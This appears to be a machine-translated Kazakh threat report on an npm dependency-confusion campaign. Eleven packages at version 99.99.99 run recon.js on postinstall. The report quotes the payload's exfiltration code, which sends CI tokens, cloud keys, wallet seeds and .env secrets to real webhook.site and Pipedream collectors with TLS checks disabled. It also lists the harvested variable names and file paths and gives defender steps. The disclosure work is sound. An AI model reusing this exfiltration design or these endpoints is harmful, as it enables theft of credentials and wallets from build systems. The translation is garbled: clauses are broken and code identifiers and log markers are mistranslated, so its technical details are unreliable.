TL; DR
2026-06-17 күні бір npm тіркелгісі жарияланды Бір мақсат пен бір пайдалы жүктемені бөлісетін он бір пакетОлардың онысы ... алып жүреді. cryptodao- префикс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -typesон біріншісі - ауқымды @public-for-cdao/coreӘрқайсысы нұсқасында жарияланды 99.99.99 және байтпен бірдей деректерді жібереді recon.js ол жұмыс істейді postinstall.
Атаулар - бұл түсінікті нәрсе. Олар крипто/DAO жобасының жеке құралдар тізбегінің ішкі құрылыс блоктары сияқты оқылады. Жасанды түрде жоғары нұсқада жалпыға қолжетімді npm тізіліміне жарияланған олар құрастыруды күтіп отырады. pipeline сол атауларды шешуге конфигурацияланған және жеке тізілімге дейін немесе оның орнына жалпыға қолжетімді npm-ге жетеді. Бұл тәуелділіктің шатасуы, және пайдалы жүк дәл қай жерге қонатынына қарай реттеледі: CI/CD жүгірушілер.
Қашан postinstall өрттер, recon.js қожайын туралы мәліметтерді жинайды, мұқият тексереді қырық бұлттық, CI және крипто-әмиян ортасының айнымалылары, кез келгенін оқиды .env ол таба алатын файлдарды құпия жолдарды сөзбе-сөз жібереді, содан кейін буманы екі коллекторға жібереді — webhook.site және Pipedream соңғы нүктесі — TLS сертификатын тексеру өшірілген. Көшірмесі де төменде жазылған /tmp.
Ауырлығы: биікӘсер етілген экожүйе: npmЖазу кезінде он бір пакеттің барлығы жұмыс істеп тұрған.
Шабуыл анатомиясы
Механизмнің төрт қозғалмалы бөлігі бар, және олардың ешқайсысы сіз білгеннен кейін нәзік болмайды пакет атауынан бір қабат жоғары қараңыз.
1. Нұсқа инфляциясы шешуші жем ретінде. Әрбір пакет нұсқаны жариялайды 99.99.99Тәуелділік шатасуы пакет менеджері сұраған кезде жұмыс істейді. ішкі атауы, сондай-ақ жалпыға қолжетімді тізілімді тексереді және оның ең жоғары нұсқасын таңдайды табады. npm-нің каретка немесе қойылмалы таңба диапазоны үшін әдепкі таңдауы - әрбір конфигурацияланған көз бойынша ең жоғары қанағаттанарлық нұсқа; егер екеуі де жеке болса Бір атау үшін тізілім және жалпы npm жауаптары, үлкенірек нұсқа нөмірі жеңеді. A 99.99.99 жобаның кез келген нақты ішкі нұсқасынан асып түседі қол жеткізілді, сондықтан жеке дереккөзге бекітілмеген шешуші құралды артық көреді қоғамдық — және бұл жағдайда, дұшпандық — көшірме. Оператордың білуі міндетті емес нысананың нақты нұсқа сандары; абсурдтық максимумды таңдау әрқашан тең нәтижеге кепілдік береді олардың жолын бұзады.
2. Орнатудан кейінгі триггер. пакет.json пайдалы жүктемені орнатуға қосады өміршеңдік кезең:
{ "scripts": { "postinstall": "node recon.js" } } Пакетті импорттау қажет емес. Оны орнату жеткілікті — бұл CI pipeline автоматты түрде орындайды - іске қосылады recon.js.
3. Кең ауқымды құпия тексеру. recon.js нәтижелер массивін кезең-кезеңмен құрастырады:
- Хост контексті: хост атауы, платформа және шығарылым, архитектура, пайдаланушы аты, жұмыс істеу каталогы.
- Қоршаған орта айнымалылары: ол шамамен қырық атау мен жазбадан тұратын бекітілген тізімді қайталайды орнатылған кез келген. Тізім айқын көрінеді — ол жалпы CI токендерін жұптайды (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) және бұлт тіркелгі деректері (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) тізілім және контейнер құпияларымен (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) және айқын крипто дәмі бар кластер: ЖЕКЕ_КІЛТ, МНЕМОНИКА, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCЖазылған мәндер алғашқы 50 таңбаға дейін қысқартылады.
- .env файлдар: ол жолдар тізімін тексереді — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, және .өндіріс/.дамыту нұсқалары — және кез келген бар файл үшін, ол мазмұнды сәйкес жолдарға сүзеді КІЛТ|ҚҰПИЯ|ТОКЕН|РАҚСАТ|ЖЕКЕ|МНЕМОНИКА және сол жолдарды **толықтай, қысқартылмаған** нәтижелерге енгізеді.
- Build-host контексті: онда алғашқы 20 жазба тізімделген /құрастырады/, /home/gitlab-runner/құрылыстар/, /var/lib/gitlab-runner/, және /tmp/.
Жол тізімі мен айнымалы тізімі GitLab жүгірушілеріне қарай өлшенеді, бұл ... көрсетеді пайдалы жүктеме әзірлеушіге емес, өзін-өзі басқаратын CI инфрақұрылымына тікелей байланысты ноутбук. Егін жинау тізімін санат бойынша топтастыру мақсатты тасымалдауды анық етеді:
| санат | Айнымалылар/жолдар жетті |
|---|---|
| CI/CD сәйкестендіру және орналастыру | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| бұлт | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Тіркеу және контейнер | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Деректер қоймалары | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Крипто / блокчейн | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Хабар алмасу | SLACK_TOKEN, DISCORD_TOKEN |
| Дискідегі | .env отбасы + /home/gitlab-runner/.env, /root/.env, /app/**/.env; каталог тізімдері /builds/, /var/lib/gitlab-runner/ |
Криптокластер - бұл жалпы CI құпиясынан ерекшеленетін бөлік. Sweep: әмиянның бастапқы сөз тіркестері мен қол қою кілттері тек ортада пайда болады блокчейн жобасы, және олар тікелей картаға түсіріледі криптодао-/белгі/келісімшарттар тасымалдаушылардың атаулары.
4. Тексеру өшірілген қос эксфильтрация. Жиналған массив екі бағытқа серияланған және POST арқылы жіберілген:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) рұқсатсыз: жалған шығыс құрылғылары үшін TLS сертификатын тексеруді өшіреді шақырулар. Сол деректер stdout-қа басып шығарылады (сондықтан ол CI жұмыс журналдарына да түседі) және жазылған /tmp/.npm_recon_ .jsonҚателер үнсіз жұтылады, сондықтан жіберілмеген жағдайда, орнату шығысында бір ғана хабарламадан кейін ешқандай із қалдырмайды [қайта қарау] орнатылған түзу.
Файлдағы жетекші түсініктеме оны «Тәуелділіктің шатасуы» деп сипаттайды. «Барлау жүктемесі». Қоршаған орта мәндерін 50 таңбаға дейін қысқарту ... тұжырымдаманы дәлелдеудің пішіні. Оны тек қатысу маякынан өткізетін нәрсе - бұл .env өңдеу: құпия бағыттаушы желілер толығымен жіберіледі, ал бағыттар тек есепке алынатын раковина емес, шабуылдаушы басқаратын екі жұмыс істейтін коллекторлар хиттер.
Timeline
Жариялау үлгісі он бір емес, бір ғана сценарий бойынша жасалған push-тың қолтаңбасы болып табылады тәуелсіз жүктеулер.
| Уақыт (UTC, 2026-06-17) | оқиға |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 жарияланған |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — ауқымды нұсқа, ~24 минуттан кейін |
29 секундтық терезе ішінде он пакет, шамамен әр үш секунд сайын бір пакет жіберілді. Ауқымы анықталған @public-for-cdao/core шамамен 24 минуттан кейін - екінші тұтынушы жоба сілтеме жасаған жағдайда, сол мақсат үшін атау конвенциясын ішкі құралдар тізбегі жалаңаш атаулардың орнына ауқым астында.
Ымыраға келу көрсеткіштері
| түрі | Индикатор |
|---|---|
| Коллектор | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Коллектор | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Ілгекті орнату | postinstall: node recon.js |
| Файл тасталды | /tmp/.npm_recon_<timestamp>.json |
| Журнал маркері | [recon] <pkg>@<ver> installed on <hostname> (CI журналдарындағы stdout) |
| Мінез-құлық | rejectUnauthorized: false орнату кезінде шығыс HTTPS деректерінде |
| Жүктеме | recon.js, барлық он бір пакетте бірдей (бір ортақ құрастыру) |
| нұсқа | 99.99.99 әрбір пакетте |
| пакеттер | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (барлық 99.99.99) |
| баспагер | aduljune / aduljune@proton.me (электрондық пошта расталмаған, сілтеме жасалған дереккөз репозиторийі жоқ) |
Атрибуция және байқалған мінез-құлық
Кластер туралы барлық нәрсе бір қолға нұсқайды. Барлық он бір пакет жарияланды npm тіркелгісі арқылы ересек маусым (aduljune@proton.me, нөмірі жоқ расталмаған мекенжай байланыстырылған бастапқы код репозиторийі), 25 минут ішінде, сол уақытта 99.99.99 нұсқасы, жеткізу recon.js мазмұны әрбір байт бойынша бірдей пакет (MD5 барлық он бір алынған көшірмеге сәйкес келеді). Бұл бір пайдалы жүктеме тәуелсіз кодты қайта пайдалану емес, атаулар тізіміне енгізілген.
Атаулар тізімі мақсатты анықтайды. криптодао-* және cdao сипаттау крипто/DAO жобасының жеке модуль орналасуы және пайдалы жүктеменің жинау тізімі болжам жасайтын айна: жалпы CI және бұлттық құпиялармен қатар, ол әсіресе қол созады ЖЕКЕ_КІЛТ, МНЕМОНИКА, SEED_PHRASEжәне Ethereum/BSC RPC және провайдер кілттері. .env іздеу жолдары мен каталог тізімдері GitLab-runner болып табылады нақты. Байқалатын әсер кез келген pipeline бұларды орнатуға алданып қалдым names өзінің CI токендерін, бұлттық кілттерін және дискідегі файлдарын жіберетін еді .env құпиялар — және, үшін блокчейн жобасы, оның әмиян материалы — екі үшінші тарап коллекционерлеріне.
Біз тіркелгіні кім басқаратыны немесе олармен не істеуді жоспарлағаны туралы ешқандай мәлімдеме жасамаймыз деректер. Өз алдына жеке фактілер: атаулар белгілі бір түрге бағытталған ішкі құралдар тізбегі, пайдалы жүктеме нақты құпия мәндерді оқиды және жібереді, және инфрақұрылым жұмыс істеп тұрды.
Әсер, үрдістер және қорғаушыларға арналған нұсқаулық
Тәуелділіктің шатасуы тиімді болып қала береді, себебі ол шешуші мінез-құлықты пайдаланады, а емес кез келген пакеттегі осалдық. Мұндағы тасымалдаушы маңызды емес — он бір бос орын жоқ пакеттер — бірақ жарылыс радиусы кез келген pipeline қателесіп қоғамдық npm-ді артық көреді ішкі атау үшін. CI жүгірушілері мұның болуының ең нашар жері: олар ұстап тұрады дәл жетондар және .env бұл пайдалы жүктеме файлдарын оқиды және олар орнатады тәуелділіктер интерактивті емес түрде, сондықтан орнатудан кейінгі ешкімнің қарамауынсыз жүгіреді.
Бұл кластер біз үнемі көріп жүрген үлгіге де сәйкес келеді: орнату уақытындағы пайдалы жүктемелер нақты куәліктерді жинау кезінде «зерттеу» немесе «барлау» ретінде. Белгі файлда кодтың жүгірткіште не істейтінін өзгертпейді. Екі дизайн нұсқасы сақталады Тыныш әрекет: әрбір желілік және файлдық жүйе операциясы оралған қателерді жоятын ерекше жағдайларды өңдегіш, сондықтан жіберу бұғатталған немесе файл жоқ диагностикалық нәтиже бермейді және басып шығарылған жалғыз нәрсе - бір ғана зиянсыз [қалпына келтіру] … орнатылған қалыпты орнату шуылына араласатын желі. Қолданылуы webhook.site және Pipedream сонымен қатар әдейі ыңғайлылық болып табылады - екеуі де тегін, сұрауларды қабылдау қызметтері лезде қамтамасыз етіледі, сондықтан операторға серверлер қажет емес өздерінің және бағыттар шығыс журналдарында кәдімгі SaaS хост атауларына ұқсайды.
Экономика мұны қорғаушының назарын аударуға тұрарлық етеді, дегенмен Тасымалдаушы коды қарапайым. Он бір атауды тіркеу ештеңеге тұрмайды, пайдалы жүктеме біреу файл он бір рет көшірілді, ал пакет менеджері барлық орындауды орындайды. Бір дұрыс конфигурацияланбаған pipeline осы атаулардың бірін тұтынатын кез келген жер тұтастай төлейді жұмыс.
Қорғаушыларға арналған нақты қадамдар:
- Ішкі ауқымдарды жеке тізіліміңізге бекітіңіз. Ішкі атаулар үшін npm конфигурациялаңыз
және аумақтар тек сіздің тізіліміңізге қарсы шешіледі (ауқымы .npmrc тізілімінің салыстырулары, немесе меншікті атаулар кеңістіктері үшін ешқашан жалпыға қолжетімді npm-ге түспейтін прокси). Жалпыға қолжетімді аумақ атауларыңызды басқа ешкім тіркей алмайтындай етіп сақтаңыз.
- Commit lockfiles және –ignore-scripts көмегімен орнатыңыз CI-де мүмкін болған жағдайда, немесе Шынымен орнату сценарийлерін қажет ететін тәуелділіктердің шағын жиынтығын тексеріп көріңіз. recon.js файлы келесі жағдайларда іске қосылмайды: орнатудан кейінгі орындалмайды.
- Ішкі көрінетін атаудың 99.99.99 (немесе басқа да абсурдтық жоғары) нұсқасын қарастырыңыз қызыл жалау ретінде тәуелділікті шолу және тізілімді бақылау саласында.
- Орнату уақытынан шығу туралы ескерту. A орнатудан кейінгі шығыс HTTPS ашады байланыс, әсіресе сертификатты тексеру өшірілген кезде — webhook.site, Pipedream немесе осыған ұқсас сұранысты түсіру қызметтері желі шетінде бұғаттап, құрастыру журналдарында белгілеуге тұрарлық.
- Артефактілерді іздеңіз. Жүгірушілерді тексеріңіз /tmp/.npm_recon_*.json және үшін [recon] … соңғы CI журналдарындағы … маркеріне орнатылған. Егер табылса, әрбір рет айналдырыңыз оған қатысты сенімхат pipeline — CI токендері, бұлттық кілттер, тізілім токендері және ортада немесе .env файлдарында бар кез келген әмиян тұқымдары немесе жеке кілттер.
Әдебиеттер тізімі
Жазу кезінде бұл кластер бойынша сыртқы есеп болған жоқ; талдау жоғарыда жарияланған пакет мазмұнына тікелей негізделген




